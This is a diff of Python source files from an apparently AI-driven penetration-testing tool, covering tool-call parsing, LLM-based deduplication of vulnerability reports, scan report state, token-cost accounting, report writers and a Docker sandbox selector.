for fn_match in fn_matches:
fn_name = fn_match.group(1)
fn_body = fn_match.group(2)
param_matches = re.finditer(fn_param_regex_pattern, fn_body, re.DOTALL)
args = {}
for param_match in param_matches:
param_name = param_match.group(1)
param_value = param_match.group(2).strip()
param_value = html.unescape(param_value)
args[param_name] = param_value
tool_invocations.append({"toolName": fn_name, "args": args})
return tool_invocations if tool_invocations else None
def fix_incomplete_tool_call(content: str) -> str:
"""Fix incomplete tool calls by adding missing closing tag.
Handles both ``<function=>`` and ``<invoke name="">`` formats.
"""
has_open = "<function=" in content or "<invoke " in content
count_open = content.count("<function=") + content.count("<invoke ")
has_close = "</function>" in content or "</invoke>" in content
if has_open and count_open == 1 and not has_close:
content = content.rstrip()
content = content + "function>" if content.endswith("</") else content + "\n</function>"
return content
def format_tool_call(tool_name: str, args: dict[str, Any]) -> str:
xml_parts = [f"<function={tool_name}>"]
for key, value in args.items():
xml_parts.append(f"<parameter={key}>{value}</parameter>")
xml_parts.append("</function>")
return "\n".join(xml_parts)
def clean_content(content: str) -> str:
if not content:
return ""
content = normalize_tool_format(content)
content = fix_incomplete_tool_call(content)
tool_pattern = r"<function=[^>]+>.*?</function>"
cleaned = re.sub(tool_pattern, "", content, flags=re.DOTALL)
incomplete_tool_pattern = r"<function=[^>]+>.*$"
cleaned = re.sub(incomplete_tool_pattern, "", cleaned, flags=re.DOTALL)
partial_tag_pattern = r"<f(?:u(?:n(?:c(?:t(?:i(?:o(?:n(?:=(?:[^>]*)?)?)?)?)?)?)?)?)?$"
cleaned = re.sub(partial_tag_pattern, "", cleaned)
hidden_xml_patterns = [
r"<inter_agent_message>.*?</inter_agent_message>",
r"<agent_completion_report>.*?</agent_completion_report>",
]
for pattern in hidden_xml_patterns:
cleaned = re.sub(pattern, "", cleaned, flags=re.DOTALL | re.IGNORECASE)
cleaned = re.sub(r"\n\s*\n", "\n\n", cleaned)
return cleaned.strip()
-12
View File
@@ -1,12 +0,0 @@
"""Report/finding helpers."""
from strix.report.dedupe import check_duplicate
from strix.report.state import ReportState, get_global_report_state, set_global_report_state
__all__ = [
"ReportState",
"check_duplicate",
"get_global_report_state",
"set_global_report_state",
]
-240
View File
@@ -1,240 +0,0 @@
"""SDK-native vulnerability-report deduplication."""
from __future__ import annotations
import json
import logging
from typing import TYPE_CHECKING, Any
from agents.model_settings import ModelSettings
from agents.models.interface import ModelTracing
from openai.types.responses import ResponseOutputMessage
from strix.config import load_settings
from strix.config.models import (
DEFAULT_MODEL_RETRY,
StrixProvider,
configure_sdk_model_defaults,
)
from strix.report.state import get_global_report_state
if TYPE_CHECKING:
from agents.items import ModelResponse
logger = logging.getLogger(__name__)
DEDUPE_SYSTEM_PROMPT = """You are an expert vulnerability report deduplication judge.
Your task is to determine if a candidate vulnerability report describes the SAME vulnerability
as any existing report.
CRITICAL DEDUPLICATION RULES:
1. SAME VULNERABILITY means:
- Same root cause (e.g., "missing input validation" not just "SQL injection")
- Same affected component/endpoint/file (exact match or clear overlap)
- Same exploitation method or attack vector
- Would be fixed by the same code change/patch
2. NOT DUPLICATES if:
- Different endpoints even with same vulnerability type (e.g., SQLi in /login vs /search)
- Different parameters in same endpoint (e.g., XSS in 'name' vs 'comment' field)
- Different root causes (e.g., stored XSS vs reflected XSS in same field)
- Different severity levels due to different impact
- One is authenticated, other is unauthenticated
3. ARE DUPLICATES even if:
- Titles are worded differently
- Descriptions have different level of detail
- PoC uses different payloads but exploits same issue
- One report is more thorough than another
- Minor variations in technical analysis
COMPARISON GUIDELINES:
- Focus on the technical root cause, not surface-level similarities
- Same vulnerability type (SQLi, XSS) doesn't mean duplicate - location matters
- Consider the fix: would fixing one also fix the other?
- When uncertain, lean towards NOT duplicate
FIELDS TO ANALYZE:
- title, description: General vulnerability info
- target, endpoint, method: Exact location of vulnerability
- technical_analysis: Root cause details
- poc_description: How it's exploited
- impact: What damage it can cause
Respond with a single JSON object and nothing else:
{
"is_duplicate": true,
"duplicate_id": "vuln-0001",
"confidence": 0.95,
"reason": "Both reports describe SQL injection in /api/login via the username parameter"
}
Or, if not a duplicate:
{
"is_duplicate": false,
"duplicate_id": "",
"confidence": 0.90,
"reason": "Different endpoints: candidate is /api/search, existing is /api/login"
}
Rules:
- ``is_duplicate`` is a boolean.
- ``duplicate_id`` is the exact id from existing reports, or "" if not a duplicate.
- ``confidence`` is a number between 0 and 1.
- ``reason`` is a specific explanation mentioning endpoint/parameter/root cause.
- Output ONLY the JSON object no surrounding prose, no code fences."""
def _prepare_report_for_comparison(report: dict[str, Any]) -> dict[str, Any]:
relevant_fields = [
"id",
"title",
"description",
"impact",
"target",
"technical_analysis",
"poc_description",
"endpoint",
"method",
]
cleaned = {}
for field in relevant_fields:
if report.get(field):
value = report[field]
if isinstance(value, str) and len(value) > 8000:
value = value[:8000] + "...[truncated]"
cleaned[field] = value
return cleaned
def _parse_dedupe_response(content: str) -> dict[str, Any]:
text = content.strip()
if text.startswith("```"):
text = text.strip("`")
if text.lower().startswith("json"):
text = text[4:]
text = text.strip()
start = text.find("{")
end = text.rfind("}")
if start == -1 or end == -1 or end <= start:
raise ValueError(f"No JSON object found in dedupe response: {content[:500]}")
parsed = json.loads(text[start : end + 1])
duplicate_id = str(parsed.get("duplicate_id") or "")[:64]
reason = str(parsed.get("reason") or "")[:500]
try:
confidence = float(parsed.get("confidence", 0.0))
except (TypeError, ValueError):
confidence = 0.0
return {
"is_duplicate": bool(parsed.get("is_duplicate", False)),
"duplicate_id": duplicate_id,
"confidence": confidence,
"reason": reason,
}
def _extract_text(response: ModelResponse) -> str:
parts: list[str] = []
for item in response.output:
if not isinstance(item, ResponseOutputMessage):
continue
for chunk in item.content:
text = getattr(chunk, "text", None)
if text:
parts.append(text)
return "".join(parts)
async def check_duplicate(
candidate: dict[str, Any], existing_reports: list[dict[str, Any]]
) -> dict[str, Any]:
if not existing_reports:
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 1.0,
"reason": "No existing reports to compare against",
}
try:
settings = load_settings()
model_name = settings.llm.model
if not model_name:
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 0.0,
"reason": "STRIX_LLM not configured; skipping dedupe check",
}
candidate_cleaned = _prepare_report_for_comparison(candidate)
existing_cleaned = [_prepare_report_for_comparison(r) for r in existing_reports]
comparison_data = {"candidate": candidate_cleaned, "existing_reports": existing_cleaned}
user_msg = (
f"Compare this candidate vulnerability against existing reports:\n\n"
f"{json.dumps(comparison_data, indent=2)}\n\n"
f"Respond with ONLY the JSON object described in the system prompt."
)
configure_sdk_model_defaults(settings)
resolved_model = model_name.strip()
model = StrixProvider().get_model(resolved_model)
response = await model.get_response(
system_instructions=DEDUPE_SYSTEM_PROMPT,
input=user_msg,
model_settings=ModelSettings(retry=DEFAULT_MODEL_RETRY, include_usage=True),
tools=[],
output_schema=None,
handoffs=[],
tracing=ModelTracing.DISABLED,
previous_response_id=None,
conversation_id=None,
prompt=None,
)
report_state = get_global_report_state()
if report_state is not None:
report_state.record_sdk_usage(
agent_id="dedupe",
agent_name="dedupe",
model=resolved_model,
usage=response.usage,
)
content = _extract_text(response)
if not content:
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 0.0,
"reason": "Empty response from LLM",
}
result = _parse_dedupe_response(content)
logger.info(
"Deduplication check: is_duplicate=%s, confidence=%.2f, reason=%s",
result["is_duplicate"],
result["confidence"],
result["reason"][:100],
)
except Exception as e:
logger.exception("Error during vulnerability deduplication check")
return {
"is_duplicate": False,
"duplicate_id": "",
"confidence": 0.0,
"reason": f"Deduplication check failed: {e}",
"error": str(e),
}
else:
return result
-394
View File
@@ -1,394 +0,0 @@
import json
import logging
from collections.abc import Callable
from datetime import UTC, datetime
from pathlib import Path
from typing import Any, Optional
from uuid import uuid4
from agents.usage import Usage
from strix.core.paths import run_dir_for
from strix.report.usage import LLMUsageLedger
from strix.report.writer import (
read_run_record,
write_executive_report,
write_run_record,
write_vulnerabilities,
)
from strix.telemetry import posthog, scarf
logger = logging.getLogger(__name__)
_global_report_state: Optional["ReportState"] = None
def get_global_report_state() -> Optional["ReportState"]:
return _global_report_state
def set_global_report_state(report_state: "ReportState") -> None:
global _global_report_state # noqa: PLW0603
_global_report_state = report_state
class ReportState:
"""Per-scan product artifact state plus artifact writer.
The Agents SDK owns model/tool execution, tracing, and conversation
persistence. This store keeps only Strix-owned scan artifacts and
report metadata. Live UI projections belong to the interface layer.
It does not consume SDK tracing processors.
"""
def __init__(self, run_name: str | None = None):
self.run_name = run_name
self.run_id = run_name or f"run-{uuid4().hex[:8]}"
self.start_time = datetime.now(UTC).isoformat()
self.end_time: str | None = None
self.vulnerability_reports: list[dict[str, Any]] = []
self.final_scan_result: str | None = None
self.scan_results: dict[str, Any] | None = None
self.scan_config: dict[str, Any] | None = None
self._llm_usage = LLMUsageLedger()
self.run_record: dict[str, Any] = {
"run_id": self.run_id,
"run_name": self.run_name,
"start_time": self.start_time,
"end_time": None,
"status": "running",
"targets_info": [],
"llm_usage": self._build_llm_usage_record(),
}
self._run_dir: Path | None = None
self._saved_vuln_ids: set[str] = set()
self.caido_url: str | None = None
self.vulnerability_found_callback: Callable[[dict[str, Any]], None] | None = None
def get_run_dir(self) -> Path:
if self._run_dir is None:
run_dir_name = self.run_name if self.run_name else self.run_id
self._run_dir = run_dir_for(run_dir_name)
self._run_dir.mkdir(parents=True, exist_ok=True)
return self._run_dir
def hydrate_from_run_dir(self) -> None:
"""Reload prior-scan state from ``{run_dir}/`` for resume.
Restores:
- ``vulnerability_reports`` from ``vulnerabilities.json`` so
:meth:`add_vulnerability_report` doesn't allocate a colliding
``vuln-0001`` and overwrite the prior on-disk MD.
- ``run_record`` from ``run.json`` so timestamps, run inputs,
status, and final report state have one public source of truth.
Idempotent on missing files (fresh runs land here too via the
same code path). **Raises on corruption** silently swallowing
a corrupt ``vulnerabilities.json`` would let the next vuln
allocate ``vuln-0001`` and overwrite the prior MD on disk
(data loss). Caller is expected to fail the run loud and let
the user inspect ``{run_dir}`` or pick a fresh ``--run-name``.
"""
run_dir = self.get_run_dir()
data = read_run_record(run_dir)
if data:
self.run_record.update(data)
if isinstance(data.get("start_time"), str):
self.start_time = data["start_time"]
if isinstance(data.get("end_time"), str):
self.end_time = data["end_time"]
scan_results = data.get("scan_results")
if isinstance(scan_results, dict):
self.scan_results = scan_results
self.final_scan_result = self._format_final_scan_result(scan_results)
self._hydrate_llm_usage(data.get("llm_usage"))
logger.info("report state hydrated run.json from %s", run_dir)
json_path = run_dir / "vulnerabilities.json"
if json_path.exists():
try:
data = json.loads(json_path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError) as exc:
raise RuntimeError(
f"vulnerabilities.json at {json_path} is corrupt ({exc}); "
f"refusing to start fresh — that would overwrite prior "
f"vulnerability MDs on disk. Inspect or delete the run dir.",
) from exc
if not isinstance(data, list):
raise RuntimeError(
f"vulnerabilities.json at {json_path} is not a list",
)
self.vulnerability_reports = [r for r in data if isinstance(r, dict)]
for r in self.vulnerability_reports:
rid = r.get("id")
if isinstance(rid, str):
self._saved_vuln_ids.add(rid)
logger.info(
"report state hydrated %d vulnerability report(s)",
len(self.vulnerability_reports),
)
def add_vulnerability_report(
self,
title: str,
severity: str,
description: str | None = None,
impact: str | None = None,
target: str | None = None,
technical_analysis: str | None = None,
poc_description: str | None = None,
poc_script_code: str | None = None,
remediation_steps: str | None = None,
cvss: float | None = None,
cvss_breakdown: dict[str, str] | None = None,
endpoint: str | None = None,
method: str | None = None,
cve: str | None = None,
cwe: str | None = None,
code_locations: list[dict[str, Any]] | None = None,
agent_id: str | None = None,
agent_name: str | None = None,
) -> str:
report_id = f"vuln-{len(self.vulnerability_reports) + 1:04d}"
report: dict[str, Any] = {
"id": report_id,
"title": title.strip(),
"severity": severity.lower().strip(),
"timestamp": datetime.now(UTC).strftime("%Y-%m-%d %H:%M:%S UTC"),
}
if description:
report["description"] = description.strip()
if impact:
report["impact"] = impact.strip()
if target:
report["target"] = target.strip()
if technical_analysis:
report["technical_analysis"] = technical_analysis.strip()
if poc_description:
report["poc_description"] = poc_description.strip()
if poc_script_code:
report["poc_script_code"] = poc_script_code.strip()
if remediation_steps:
report["remediation_steps"] = remediation_steps.strip()
if cvss is not None:
report["cvss"] = cvss
if cvss_breakdown:
report["cvss_breakdown"] = cvss_breakdown
if endpoint:
report["endpoint"] = endpoint.strip()
if method:
report["method"] = method.strip()
if cve:
report["cve"] = cve.strip()
if cwe:
report["cwe"] = cwe.strip()
if code_locations:
report["code_locations"] = code_locations
if agent_id:
report["agent_id"] = agent_id
if agent_name:
report["agent_name"] = agent_name
self.vulnerability_reports.append(report)
logger.info(f"Added vulnerability report: {report_id} - {title}")
posthog.finding(severity)
scarf.finding(severity)
if self.vulnerability_found_callback:
self.vulnerability_found_callback(report)
self.save_run_data()
return report_id
def get_existing_vulnerabilities(self) -> list[dict[str, Any]]:
return list(self.vulnerability_reports)
def record_sdk_usage(
self,
*,
agent_id: str,
usage: Usage | None,
agent_name: str | None = None,
model: str | None = None,
) -> None:
"""Record SDK-native token usage for one completed model run/cycle."""
if self._llm_usage.record(
agent_id=agent_id,
agent_name=agent_name,
model=model,
usage=usage,
):
self.save_run_data()
def record_observed_llm_cost(self, cost: float) -> None:
self._llm_usage.record_observed_cost(cost)
def get_total_llm_usage(self) -> dict[str, Any]:
return dict(self.run_record.get("llm_usage") or self._build_llm_usage_record())
def get_total_llm_cost(self) -> float:
"""Live accumulated LLM cost, independent of the persisted run-record snapshot."""
return self._llm_usage.total_cost
def update_scan_final_fields(
self,
executive_summary: str,
methodology: str,
technical_analysis: str,
recommendations: str,
) -> None:
self.scan_results = {
"scan_completed": True,
"executive_summary": executive_summary.strip(),
"methodology": methodology.strip(),
"technical_analysis": technical_analysis.strip(),
"recommendations": recommendations.strip(),
"success": True,
}
self.final_scan_result = self._format_final_scan_result(self.scan_results)
self.run_record["scan_results"] = self.scan_results
logger.info("Updated scan final fields")
self.save_run_data(mark_complete=True)
posthog.end(self, exit_reason="finished_by_tool")
scarf.end(self, exit_reason="finished_by_tool")
def set_scan_config(self, config: dict[str, Any]) -> None:
self.scan_config = config
self.run_record["status"] = "running"
self.run_record["end_time"] = None
self.run_record.pop("scan_results", None)
self.end_time = None
self.scan_results = None
self.final_scan_result = None
self.run_record.update(
{
"targets_info": config.get("targets", []),
"instruction": config.get("user_instructions", ""),
"scan_mode": config.get("scan_mode", "deep"),
"diff_scope": config.get("diff_scope", {"active": False}),
"non_interactive": bool(config.get("non_interactive", False)),
"local_sources": config.get("local_sources", []),
"scope_mode": config.get("scope_mode", "auto"),
"diff_base": config.get("diff_base"),
}
)
def save_run_data(self, mark_complete: bool = False, status: str | None = None) -> None:
if mark_complete:
self.end_time = datetime.now(UTC).isoformat()
self.run_record["end_time"] = self.end_time
self.run_record["status"] = "completed"
elif status and self.run_record.get("status") != "completed":
current_status = self.run_record.get("status")
if status == "stopped" and current_status in {"failed", "interrupted"}:
status = str(current_status)
if self.end_time is None:
self.end_time = datetime.now(UTC).isoformat()
self.run_record["end_time"] = self.end_time
self.run_record["status"] = status
self._sync_llm_usage_record()
self._save_artifacts()
def cleanup(self, status: str = "stopped") -> None:
self.save_run_data(status=status)
def _format_final_scan_result(self, scan_results: dict[str, Any]) -> str:
return f"""# Executive Summary
{str(scan_results.get("executive_summary", "")).strip()}
# Methodology
{str(scan_results.get("methodology", "")).strip()}
# Technical Analysis
{str(scan_results.get("technical_analysis", "")).strip()}
# Recommendations
{str(scan_results.get("recommendations", "")).strip()}
"""
def _save_artifacts(self) -> None:
"""Write scan artifacts under ``run_dir``."""
run_dir = self.get_run_dir()
try:
run_dir.mkdir(parents=True, exist_ok=True)
if self.final_scan_result:
write_executive_report(run_dir, self.final_scan_result)
if self.vulnerability_reports:
write_vulnerabilities(run_dir, self.vulnerability_reports, self._saved_vuln_ids)
write_run_record(run_dir, self.run_record)
logger.info("Essential scan data saved to: %s", run_dir)
except (OSError, RuntimeError):
logger.exception("Failed to save scan data")
def _sync_llm_usage_record(self) -> None:
self.run_record["llm_usage"] = self._build_llm_usage_record()
def _build_llm_usage_record(self) -> dict[str, Any]:
return self._llm_usage.to_record()
def _hydrate_llm_usage(self, raw_usage: Any) -> None:
self._llm_usage.hydrate(raw_usage)
self._sync_llm_usage_record()
def litellm_cost_callback(
kwargs: Any,
completion_response: Any,
_start_time: Any = None,
_end_time: Any = None,
) -> None:
"""LiteLLM ``success_callback`` adapter; forwards observed cost to the active scan."""
cost: float | None = None
raw = kwargs.get("response_cost") if isinstance(kwargs, dict) else None
if isinstance(raw, int | float) and raw > 0:
cost = float(raw)
if cost is None:
hidden = getattr(completion_response, "_hidden_params", None) or {}
candidate = hidden.get("response_cost") if isinstance(hidden, dict) else None
if isinstance(candidate, int | float) and candidate > 0:
cost = float(candidate)
else:
headers = hidden.get("additional_headers") or {} if isinstance(hidden, dict) else {}
raw = (
headers.get("llm_provider-x-litellm-response-cost")
if isinstance(headers, dict)
else None
)
try:
value = float(raw) if raw is not None else None
except (TypeError, ValueError):
value = None
if value is not None and value > 0:
cost = value
if cost is None or cost <= 0:
return
report_state = get_global_report_state()
if report_state is None:
return
try:
report_state.record_observed_llm_cost(cost)
except Exception:
logger.exception("Failed to record observed LiteLLM cost")
-262
View File
@@ -1,262 +0,0 @@
"""SDK-native LLM usage aggregation for scan reports."""
from __future__ import annotations
import logging
from typing import Any
from agents.usage import Usage, deserialize_usage, serialize_usage
logger = logging.getLogger(__name__)
class LLMUsageLedger:
"""Aggregate SDK ``Usage`` objects and attach best-effort cost estimates."""
def __init__(self) -> None:
self._total_usage = Usage()
self._agent_usage: dict[str, Usage] = {}
self._agent_metadata: dict[str, dict[str, str]] = {}
self._total_cost = 0.0
def record(
self,
*,
agent_id: str,
usage: Usage | None,
agent_name: str | None = None,
model: str | None = None,
) -> bool:
if usage is None or not _usage_has_activity(usage):
return False
normalized_agent_id = str(agent_id or "unknown")
self._total_usage.add(usage)
self._agent_usage.setdefault(normalized_agent_id, Usage()).add(usage)
metadata = self._agent_metadata.setdefault(normalized_agent_id, {})
if agent_name:
metadata["agent_name"] = agent_name
if model:
metadata["model"] = model
if not _is_litellm_routed(model):
estimated = _estimate_litellm_cost(usage, model)
if estimated:
self._total_cost += estimated
return True
def record_observed_cost(self, cost: float) -> None:
if isinstance(cost, int | float) and cost > 0:
self._total_cost += float(cost)
@property
def total_cost(self) -> float:
return _round_cost(self._total_cost)
def to_record(self) -> dict[str, Any]:
record = serialize_usage(self._total_usage)
record["cost"] = _round_cost(self._total_cost)
record["agents"] = []
agent_tokens = {aid: _resolve_total_tokens(u) for aid, u in self._agent_usage.items()}
total_tokens = sum(agent_tokens.values())
for agent_id in sorted(self._agent_usage):
usage = self._agent_usage[agent_id]
metadata = self._agent_metadata.get(agent_id, {})
agent_cost = (
self._total_cost * (agent_tokens[agent_id] / total_tokens) if total_tokens else 0.0
)
agent_record = serialize_usage(usage)
agent_record.update(
{
"agent_id": agent_id,
"agent_name": metadata.get("agent_name") or agent_id,
"model": metadata.get("model"),
"cost": _round_cost(agent_cost),
}
)
record["agents"].append(agent_record)
return record
def hydrate(self, raw_usage: Any) -> None:
self._total_usage = Usage()
self._agent_usage.clear()
self._agent_metadata.clear()
self._total_cost = 0.0
if not isinstance(raw_usage, dict):
return
try:
self._total_usage = deserialize_usage(raw_usage)
except Exception:
logger.exception("Failed to hydrate aggregate llm_usage from run.json")
self._total_usage = Usage()
self._total_cost = _float_or_zero(raw_usage.get("cost"))
for raw_agent in raw_usage.get("agents") or []:
if not isinstance(raw_agent, dict):
continue
agent_id = str(raw_agent.get("agent_id") or "").strip()
if not agent_id:
continue
try:
self._agent_usage[agent_id] = deserialize_usage(raw_agent)
except Exception:
logger.exception("Failed to hydrate llm_usage for agent %s", agent_id)
self._agent_usage[agent_id] = Usage()
metadata: dict[str, str] = {}
agent_name = raw_agent.get("agent_name")
model = raw_agent.get("model")
if isinstance(agent_name, str) and agent_name:
metadata["agent_name"] = agent_name
if isinstance(model, str) and model:
metadata["model"] = model
self._agent_metadata[agent_id] = metadata
def _resolve_total_tokens(usage: Usage) -> int:
total = max(0, int(usage.total_tokens or 0))
if total > 0:
return total
prompt = _int_or_zero(getattr(usage, "input_tokens", 0))
completion = _int_or_zero(getattr(usage, "output_tokens", 0))
return prompt + completion
def _is_litellm_routed(model: str | None) -> bool:
if not model:
return False
name = model.strip().lower()
if "/" not in name:
return False
return not name.startswith("openai/")
def _usage_has_activity(usage: Usage) -> bool:
return bool(
usage.requests
or usage.input_tokens
or usage.output_tokens
or usage.total_tokens
or usage.request_usage_entries
)
def _estimate_litellm_cost(usage: Usage, model: str | None) -> float | None:
litellm_model = _litellm_model_name(model)
if not litellm_model:
return None
entries = list(usage.request_usage_entries)
if not entries:
return _estimate_litellm_entry_cost(usage, litellm_model)
total = 0.0
estimated_any = False
for entry in entries:
cost = _estimate_litellm_entry_cost(entry, litellm_model)
if cost is None:
continue
total += cost
estimated_any = True
return total if estimated_any else None
def _estimate_litellm_entry_cost(entry: Any, model: str) -> float | None:
prompt_tokens = _int_or_zero(getattr(entry, "input_tokens", 0))
completion_tokens = _int_or_zero(getattr(entry, "output_tokens", 0))
total_tokens = _int_or_zero(getattr(entry, "total_tokens", 0))
if total_tokens <= 0:
total_tokens = prompt_tokens + completion_tokens
if total_tokens <= 0:
return None
usage_payload: dict[str, Any] = {
"prompt_tokens": prompt_tokens,
"completion_tokens": completion_tokens,
"total_tokens": total_tokens,
}
prompt_details = _details_to_dict(getattr(entry, "input_tokens_details", None))
completion_details = _details_to_dict(getattr(entry, "output_tokens_details", None))
if prompt_details:
usage_payload["prompt_tokens_details"] = prompt_details
if completion_details:
usage_payload["completion_tokens_details"] = completion_details
from litellm import completion_cost
candidates = [model]
if "/" in model:
candidates.append(model.split("/", 1)[-1])
cost: Any = None
for candidate in candidates:
try:
cost = completion_cost(
completion_response={"model": candidate, "usage": usage_payload},
model=model,
)
break
except Exception: # nosec B112 # noqa: BLE001, S112
continue
if cost is None:
logger.debug("LiteLLM cost estimate unavailable for model %s", model)
return None
return cost if isinstance(cost, int | float) and cost >= 0 else None
def _litellm_model_name(model: str | None) -> str | None:
if not model:
return None
normalized = model.strip()
for prefix in ("litellm/", "any-llm/", "openai/"):
if normalized.startswith(prefix):
normalized = normalized.removeprefix(prefix)
break
return normalized or None
def _details_to_dict(details: Any) -> dict[str, Any]:
if details is None:
return {}
if isinstance(details, list):
for item in details:
result = _details_to_dict(item)
if result:
return result
return {}
if hasattr(details, "model_dump"):
return _details_to_dict(details.model_dump())
if not isinstance(details, dict):
return {}
return {str(k): v for k, v in details.items() if v is not None}
def _int_or_zero(value: Any) -> int:
try:
return max(0, int(value or 0))
except (TypeError, ValueError):
return 0
def _float_or_zero(value: Any) -> float:
try:
result = float(value or 0.0)
except (TypeError, ValueError):
return 0.0
return result if result >= 0 else 0.0
def _round_cost(cost: float) -> float:
return round(max(0.0, cost), 10)
-195
View File
@@ -1,195 +0,0 @@
"""Artifact writers for Strix scan reports."""
from __future__ import annotations
import csv
import json
import logging
import tempfile
from datetime import UTC, datetime
from pathlib import Path
from typing import Any
from strix.core.paths import run_record_path
logger = logging.getLogger(__name__)
_SEVERITY_ORDER = {"critical": 0, "high": 1, "medium": 2, "low": 3, "info": 4}
def read_run_record(run_dir: Path) -> dict[str, Any]:
path = run_record_path(run_dir)
if not path.exists():
return {}
try:
data = json.loads(path.read_text(encoding="utf-8"))
except (OSError, json.JSONDecodeError) as exc:
raise RuntimeError(f"run.json at {path} is unreadable: {exc}") from exc
if not isinstance(data, dict):
raise TypeError(f"run.json at {path} is not an object")
return data
def write_run_record(run_dir: Path, run_record: dict[str, Any]) -> None:
_atomic_write_text(
run_record_path(run_dir),
json.dumps(run_record, ensure_ascii=False, indent=2, default=str),
)
def write_executive_report(run_dir: Path, final_scan_result: str) -> None:
path = run_dir / "penetration_test_report.md"
with path.open("w", encoding="utf-8") as f:
f.write("# Security Penetration Test Report\n\n")
f.write(f"**Generated:** {datetime.now(UTC).strftime('%Y-%m-%d %H:%M:%S UTC')}\n\n")
f.write(f"{final_scan_result}\n")
logger.info("Saved final penetration test report to: %s", path)
def write_vulnerabilities(
run_dir: Path,
vulnerability_reports: list[dict[str, Any]],
saved_vuln_ids: set[str],
) -> int:
vuln_dir = run_dir / "vulnerabilities"
vuln_dir.mkdir(exist_ok=True)
new_reports = [r for r in vulnerability_reports if r["id"] not in saved_vuln_ids]
for report in new_reports:
(vuln_dir / f"{report['id']}.md").write_text(
render_vulnerability_md(report),
encoding="utf-8",
)
saved_vuln_ids.add(report["id"])
sorted_reports = sorted(
vulnerability_reports,
key=lambda r: (_SEVERITY_ORDER.get(r["severity"], 5), r["timestamp"]),
)
csv_path = run_dir / "vulnerabilities.csv"
with csv_path.open("w", encoding="utf-8", newline="") as f:
fieldnames = ["id", "title", "severity", "timestamp", "file"]
writer = csv.DictWriter(f, fieldnames=fieldnames)
writer.writeheader()
for report in sorted_reports:
writer.writerow(
{
"id": report["id"],
"title": report["title"],
"severity": report["severity"].upper(),
"timestamp": report["timestamp"],
"file": f"vulnerabilities/{report['id']}.md",
},
)
_atomic_write_text(
run_dir / "vulnerabilities.json",
json.dumps(vulnerability_reports, ensure_ascii=False, indent=2, default=str),
)
if new_reports:
logger.info(
"Saved %d new vulnerability report(s) to: %s",
len(new_reports),
vuln_dir,
)
logger.info("Updated vulnerability index: %s", csv_path)
return len(new_reports)
def _atomic_write_text(path: Path, payload: str) -> None:
path.parent.mkdir(parents=True, exist_ok=True)
with tempfile.NamedTemporaryFile(
mode="w",
encoding="utf-8",
dir=str(path.parent),
prefix=f".{path.name}.",
suffix=".tmp",
delete=False,
) as tmp:
tmp.write(payload)
tmp_path = Path(tmp.name)
tmp_path.replace(path)
def render_vulnerability_md(report: dict[str, Any]) -> str: # noqa: PLR0912, PLR0915
lines: list[str] = [
f"# {report.get('title', 'Untitled Vulnerability')}\n",
f"**ID:** {report.get('id', 'unknown')}",
f"**Severity:** {report.get('severity', 'unknown').upper()}",
f"**Found:** {report.get('timestamp', 'unknown')}",
]
metadata: list[tuple[str, Any]] = [
("Target", report.get("target")),
("Endpoint", report.get("endpoint")),
("Method", report.get("method")),
("CVE", report.get("cve")),
("CWE", report.get("cwe")),
]
cvss = report.get("cvss")
if cvss is not None:
metadata.append(("CVSS", cvss))
for label, value in metadata:
if value:
lines.append(f"**{label}:** {value}")
lines.append("")
lines.append("## Description\n")
lines.append(report.get("description") or "No description provided.")
lines.append("")
if report.get("impact"):
lines.append("## Impact\n")
lines.append(str(report["impact"]))
lines.append("")
if report.get("technical_analysis"):
lines.append("## Technical Analysis\n")
lines.append(str(report["technical_analysis"]))
lines.append("")
if report.get("poc_description") or report.get("poc_script_code"):
lines.append("## Proof of Concept\n")
if report.get("poc_description"):
lines.append(str(report["poc_description"]))
lines.append("")
if report.get("poc_script_code"):
lines.append("```")
lines.append(str(report["poc_script_code"]))
lines.append("```")
lines.append("")
if report.get("code_locations"):
lines.append("## Code Analysis\n")
for i, loc in enumerate(report["code_locations"]):
file_ref = loc.get("file", "unknown")
line_ref = ""
if loc.get("start_line") is not None:
if loc.get("end_line") and loc["end_line"] != loc["start_line"]:
line_ref = f" (lines {loc['start_line']}-{loc['end_line']})"
else:
line_ref = f" (line {loc['start_line']})"
lines.append(f"**Location {i + 1}:** `{file_ref}`{line_ref}")
if loc.get("label"):
lines.append(f" {loc['label']}")
if loc.get("snippet"):
lines.append(f" ```\n {loc['snippet']}\n ```")
if loc.get("fix_before") or loc.get("fix_after"):
lines.append("\n **Suggested Fix:**")
lines.append("```diff")
if loc.get("fix_before"):
lines.extend(f"- {ln}" for ln in str(loc["fix_before"]).splitlines())
if loc.get("fix_after"):
lines.extend(f"+ {ln}" for ln in str(loc["fix_after"]).splitlines())
lines.append("```")
lines.append("")
if report.get("remediation_steps"):
lines.append("## Remediation\n")
lines.append(str(report["remediation_steps"]))
lines.append("")
return "\n".join(lines)
+43 -1
View File
@@ -1 +1,43 @@
"""Pluggable sandbox lifecycle on top of the Agents SDK."""
from strix.config import Config
from .runtime import AbstractRuntime
class SandboxInitializationError(Exception):
"""Raised when sandbox initialization fails (e.g., Docker issues)."""
def __init__(self, message: str, details: str | None = None):
super().__init__(message)
self.message = message
self.details = details
_global_runtime: AbstractRuntime | None = None
def get_runtime() -> AbstractRuntime:
global _global_runtime # noqa: PLW0603
runtime_backend = Config.get("strix_runtime_backend")
if runtime_backend == "docker":
from .docker_runtime import DockerRuntime
if _global_runtime is None:
_global_runtime = DockerRuntime()
return _global_runtime
raise ValueError(
f"Unsupported runtime backend: {runtime_backend}. Only 'docker' is supported for now."
)
def cleanup_runtime() -> None:
global _global_runtime # noqa: PLW0603
if _global_runtime is not None:
_global_runtime.cleanup()
_global_runtime = None
__all__ = ["AbstractRuntime", "SandboxInitializationError", "cleanup_runtime", "get_runtime"]
-93
View File
@@ -1,93 +0,0 @@
"""Sandbox backend registry — selected via STRIX_RUNTIME_BACKEND (default: docker)."""
from __future__ import annotations
import logging
from collections.abc import Awaitable, Callable
from typing import TYPE_CHECKING, Any
if TYPE_CHECKING:
from agents.sandbox.manifest import Manifest
logger = logging.getLogger(__name__)
SandboxBackend = Callable[..., Awaitable[tuple[Any, Any]]]
async def _docker_backend(
*,
image: str,
manifest: Manifest,
exposed_ports: tuple[int, ...],
bind_mounts: list[dict[str, Any]] | None = None,
) -> tuple[Any, Any]:
"""Bring up a session backed by the local Docker daemon.
Uses :class:`StrixDockerSandboxClient` to inject NET_ADMIN /
NET_RAW caps + ``host.docker.internal`` host-gateway. Imports
``docker`` lazily so deployments that target a non-Docker
